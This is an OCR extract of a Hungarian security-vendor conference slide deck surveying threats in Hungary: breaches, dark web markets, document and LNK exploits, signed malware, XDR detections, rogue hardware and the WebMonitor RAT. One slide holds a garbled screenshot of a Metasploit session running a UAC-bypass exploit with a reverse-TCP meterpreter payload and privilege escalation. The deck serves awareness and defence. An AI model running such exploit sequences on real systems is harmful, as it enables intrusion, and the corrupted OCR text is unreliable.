

Rosszalkodások Magyarországról


HTE EIVOK előadás




DATA BREACHES AND HACKS SHOW TRUST IS IN RISK


World's Biggest Data Breaches & Hacks Selected events over 30,000 records







WHAT IS DARK WEB? IT HAS ANONYMISED THE INTERNET!






BITCOIN ANONYMISED THE PAYMENTS







ANYTHING IS FOR SALE ... AS A SERVICE WITH 24H SUPPORT



NOT EVEN JUST WEAPONS, ALSO HITMAN AS A SERVICE



ACTIVITIES BY MOTIVATION





MITRE ATT&CK FRAMEWORK




WHAT IS AN EXPLOIT AND HOW HARD IS TO DO IT?

```
ROOD SWWW. /HOME/SABHISH (AS SUPERUSER)
                                             FILE EDIS VIEW SEARCH GERMINAL HELP
 Ele Edit View Search Terminal Hele
      Li:/usr/bin# :/msfcomsole
                                           nsf exploi:(handler) > use exploit/windows/local/bypassuec
nsf exploit(bypassuec) > set payload windows/neterpreter/reverse top
                        *********
                    *****************
                                            psylpad => windows/meterpreter/reverse_tcp
                 DASSERSASEPRASEPRASERUI
                                           nsf exploi:(bypassuac) > set LHOST 192.168.31.28
L-OSI -> 192.168.31.20
                ********************
               OKKEDOKKEDOKKEDOKKEDOKKEDOK
                                            nsf exploit(bypassuac) > set LPORT 8088
              <i><b>39KK499KK499KK499KK499KK499KK
              селичестинестинестинестинестине
                                            LPORT => 8280
             233KK233KK233KK233KK233KK233KK
                                            nsf exploit(bypassuac) > set SESSION 1
             *************************
                                            SESSION \Rightarrow 1
                           0 00088000
                                            nsf exploit(bypassuac) > exploit
                                            [*] Started reverse handler on 192.168.31.20:8080
                                            [*] UAC is Enabled, checking level...
                                            [+] UAC is set to Default
              CONNECONNECONNECONNECO
                                            [+] BypassUMC can bypass this setting, continuing...
                AKESSAKESSAKESSAKESS
                икосаниссаниссание нисе
                                            [+] Part of Administrators group! Continuing...
                  ABREEDS REEDS
                                            [*] Uploaded the agent to the filesystem....
                                            [*] Uploading the bypass UAC executable to the filesystem...
                    *********
                                    Recon
                                            [*] Meterpreter stager executable 73802 bytes long being uploaded...
                  ASSECTASSUCAS
                                   CUBBRE
                                            [*] Sending stage (770048 bytes) to 192,168.31.2
                 *cosswee
                                            [*] Meterpreter session 2 opened (192.168.31.20:8090 -> 192.168.31.2:49162) at 2014-06-17 19:33:08 +0590
                   ONNEG
                              NEGORNEO
                              минавания
                     ALC: N
                             SANCOSANCOSA
                                            meterpreter > getuid
                   SKKESSKKESSKKSSKKSSKK
                                            Server usermane: sathish-PC\sathish
                                                                                                                                          Þ
                                            neterpreter > sysinfo
                   ONNECONNECONNECONNECONN
                                            Computer
                                                            : SATHISH-PC
                                                             : Windows 7 (Build 7600).
                         https://metasploit/grahitecture : x86
                                            System Language : en US
                                            Meterpreter : x96/win32
         1767 exploits 970 auxiliary 290 pheterpreter > getsystem
  -| Free Metasploit Pro trial: http://r-7 naterprater > getuid
                                            Server username: NT AUTHORITY\SYSTEM
rsf > use exploit/windows/
                                            neterpreter >
Display all 1017 possibilities? (y or n)
                                                           [+] Successfully migrated to process
raf s use exploit/limms/
Display all 20% possibilities? (y or m)
rsf > use exploit/linux/
```

WHAT APPS ARE EXPLOITED THE MOST?




PDF, OFFICE DOCUMENTS BASED ATTACKS ARE POPULAR






WE SAW .SRT BASED OPENSRT EXPLOIT CHAINS IN HUNGARY

Through legitimate applications without any signs (VLC, XBOX, WD)




LNK BASED ATTACKS ARE STILL BEING EXPLOITED EASILY







WATERING HOLE ATTACK WITH EXPLOIT KITS USING .HU DOMAINS



HACKERS STARTED TO EXPLOIT EXPOSED APPS AND VPNS



DIGITALLY SIGNED MALWARE BY TRUSTED PUBLISHERS




Private keys stolen or left unprotected among scripts/automation/cloud buckets Significant amount of targeted malware arrives digitally signed even from giants Digital sign means whitelisting in many endpoint protection solutions


There are 10M+ digitally signed malware out there in the wild




DIGITALLY SIGNED MALWARE BY TRUSTED PUBLISHERS




ATTACK PROPAGATION WITHIN A GERMAN/HUNGARIAN DATACENTER




PCI DATA STOLEN FROM A DEVELOPMENT FIRM



CORTEX XDR FINDINGS – LOKIBOT.AGI.12 PREVENTED BY BTP




CORTEX XDR FINDINGS – CRACKED GAMES ARE DANGEROUS





CORTEX XDR FINDINGS – DANGEROUS JAVA ON BROWSERS




All 28 Results	Alert 1 Results	Process 2 Results	File 15 Results			© (Filter ₹)
6		T	CGO SIGNATURE T	CGO SIGNER 7	TARGET PROCESS CMD	TARGET USER NAME Y
5356a8aea2a13c87759af3a7a221ad7755bb4c966c865e40c217cc6			Signed	Geogle LLC	cmd.exe /Ccscript.exe C/Wsers\mildi\AppData\Local\Temp\Retrive5100599387650170214.vbs	
5356a8aea2a13c07759aK	a7s221ad7755bb4c966c06	5e40c217cd6	Signed	Google LLC	V2VC:Windows\system3Z\conhost.exe Oxfffffff -ForceV1	


CORTEX XDR FINDINGS – BE CAREFUL WITH PE TOOLS



SOLARSTORM ATTACK DETAILS



EXCHANGE SERVER ZERO DAYS ARE EXPLOITED IN THE WILD



WHAT HARDWARE WE FOUND DURING POCS IN HUNGARY?

USB Flashdrive looking Arduino

When connected logged on to any computer, fingerprints the OS set itself up to keyboard and mouse and runs its malware or exploits.
Works with MacOS, Windows, Linux



Raspberry like microcomputer

Used Power over Ethernet to power itself and connects to two major segments of the network. Well hidden within the server room.



WEBMONITOR - REMOTE ACCESS TROJAN AS A SERVICE

Blog Home > Unit 42 > 5ay "Cheese": WebMonitor RAT Comes with C2-as-a-Service (C2aaS)

Say "Cheese": WebMonitor RAT Comes with C2-as-a-Service (C2aaS)






While looking at commodity RATs currently offered on underground forums, we came

across "WebMonitor", on the market since mid-2017. We noticed that while detection was high for most anti-virus vendors, all tagged it with only generic detection. At this point we realized that although this malware had been around for almost a year, we were looking at a hitherto-unclocumented commodity RAT.






Legally distributed remote access trojan from revcore.eu

... Let's have a look, what it looks like!


WEBMONITOR - REMOTE ACCESS TROJAN AS A SERVICE



Capabilities:

Applications, bluetooth, browser, webcam, credentials from browser, mail, messenger, network, system, filesystem, keyboard, forensics, remote shell, process manager, support of AV evasion techniques, persistance setup, etc. Sounds like a RAT, right?

INFECTED ENDPOINTS WERE ONLY EXECUTIVES AND ADMIN USERS, SURELY TARGETED





Köszönjük a figyelmet! Kérdések:

http://panw.shor.tn/kapcsolat VAGY hu@paloaltonetworks.com

